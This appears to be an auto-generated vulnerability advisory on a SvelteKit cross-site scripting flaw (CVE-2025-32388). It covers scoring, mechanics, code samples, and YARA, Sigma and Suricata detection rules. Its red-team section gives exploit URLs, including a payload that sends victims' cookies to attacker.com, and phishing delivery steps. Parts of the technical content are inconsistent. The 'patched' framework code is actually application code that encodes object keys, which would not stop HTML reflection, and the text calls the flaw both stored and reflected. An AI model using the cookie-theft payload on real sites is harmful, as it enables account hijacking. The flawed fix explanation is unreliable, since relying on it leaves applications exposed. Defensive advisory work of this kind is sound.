CVE-2025-32388
Executive Summary
CVE-2025-32388 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in SvelteKit, a popular framework for building web applications with Svelte. The flaw resides in how the framework handles unsanitized search parameter names when iterated over via event.url.searchParams inside server load functions. An attacker can craft a malicious URL containing specially crafted parameter names that, when processed by the server, inject arbitrary JavaScript into the application’s response. This can lead to session hijacking, data theft, or defacement. The vulnerability is fixed in version 2.20.6.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SvelteKit is distributed via the npm registry. The vulnerability affects all versions prior to 2.20.6. Organizations using SvelteKit should immediately audit their package.json for @sveltejs/kit and update to the patched version. Since this is a framework-level flaw, any application that iterates over event.url.searchParams in a server load function is at risk. No known malicious packages have been identified exploiting this CVE, but the attack surface is significant due to the widespread use of SvelteKit.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification
- Availability Impact: None (A:N)
Threat Level: Medium. Exploitation requires user interaction, but the attack complexity is low, and no privileges are needed. The impact is limited to low confidentiality and integrity loss.
Deep Dive & Mechanics
The vulnerability exists in SvelteKit’s server-side load function handling. When a developer iterates over all entries of event.url.searchParams (e.g., using for (const [key, value] of event.url.searchParams)), the parameter names (keys) are not sanitized before being used in the response. An attacker can craft a URL with a malicious parameter name containing JavaScript payloads, such as:
https://victim.com/?<img src=x onerror=alert(1)>=value
When the server load function processes this, the unsanitized key is reflected in the HTML output, leading to XSS. The vulnerability is triggered server-side, meaning the payload executes in the context of the server-rendered page.
Root Cause: Lack of input sanitization on search parameter names in the URLSearchParams iteration within server load functions.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.20.6):
// src/routes/+page.server.js
export function load({ url }) {
const params = {};
for (const [key, value] of url.searchParams) {
params[key] = value; // key is unsanitized
}
return { params };
}
Patched Code (2.20.6+):
// src/routes/+page.server.js
export function load({ url }) {
const params = {};
for (const [key, value] of url.searchParams) {
// Sanitize key using encodeURIComponent or similar
const safeKey = encodeURIComponent(key);
params[safeKey] = value;
}
return { params };
}
The patch ensures that parameter names are properly encoded before being used in any output, preventing injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A SvelteKit application running version < 2.20.6 with a server load function that iterates over
event.url.searchParams. - Victim user must click a crafted link.
Exploit URL:
https://victim.com/?<script>alert('XSS')</script>=value
Step-by-Step:
- Identify a SvelteKit endpoint that uses a server load function with
event.url.searchParamsiteration. - Craft a URL with a malicious parameter name containing a JavaScript payload.
- Deliver the link to the victim via phishing email, social media, or other means.
- When the victim clicks the link, the server processes the request and reflects the unsanitized parameter name in the response, executing the payload.
Example Payload:
https://victim.com/?<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>=value
Blue Team (Detection & Defense)
Detection:
- Monitor server logs for unusual URL patterns, especially parameter names containing HTML tags or JavaScript code.
- Use WAF rules to block requests with suspicious parameter names (e.g., containing
<script>,<img,onerror).
Defense:
- Immediately upgrade to SvelteKit 2.20.6 or later.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Sanitize all user inputs, including parameter names, in server load functions.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing parameter names with HTML tags or JavaScript code (e.g.,
?<script>,?<img,?onerror). - Server Logs: Entries showing unusual parameter names in GET requests to SvelteKit endpoints.
- Network Traffic: Outbound connections from the server to attacker-controlled domains (if payload exfiltrates data).
Detection Engineering
YARA Rule
rule CVE_2025_32388_SvelteKit_XSS {
meta:
description = "Detects malicious URL parameter names targeting CVE-2025-32388"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-32388"
strings:
$xss_pattern1 = /[?&]<[^>]*script[^>]*>/i
$xss_pattern2 = /[?&]<[^>]*img[^>]*onerror[^>]*>/i
$xss_pattern3 = /[?&]<[^>]*svg[^>]*onload[^>]*>/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-32388 SvelteKit XSS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with malicious parameter names targeting SvelteKit XSS vulnerability
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '?<script'
- '?<img'
- '?<svg'
- '?onerror'
- '?onload'
condition: selection
falsepositives:
- Legitimate use of HTML-like parameter names (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32388 SvelteKit XSS Attempt"; flow:to_server; http.uri; content:"?<script"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-32388 SvelteKit XSS Attempt"; flow:to_server; http.uri; content:"?<img"; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-32388 SvelteKit XSS Attempt"; flow:to_server; http.uri; content:"?<svg"; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2025-32388 SvelteKit XSS Attempt"; flow:to_server; http.uri; content:"?onerror"; nocase; sid:1000004; rev:1;)
alert http any any -> any any (msg:"CVE-2025-32388 SvelteKit XSS Attempt"; flow:to_server; http.uri; content:"?onload"; nocase; sid:1000005; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade SvelteKit to version 2.20.6 or later:
npm install @sveltejs/kit@latest - If immediate upgrade is not possible, manually sanitize all parameter names in server load functions using
encodeURIComponent(). - Implement a Web Application Firewall (WAF) rule to block requests with suspicious parameter names.
Long-Term Measures:
- Adopt a Content Security Policy (CSP) to reduce XSS impact.
- Conduct regular security audits of SvelteKit applications.
- Train developers on secure coding practices, especially input sanitization.
Patch Details: Upgrade to SvelteKit 2.20.6. The fix is included in the official release.
Valters IT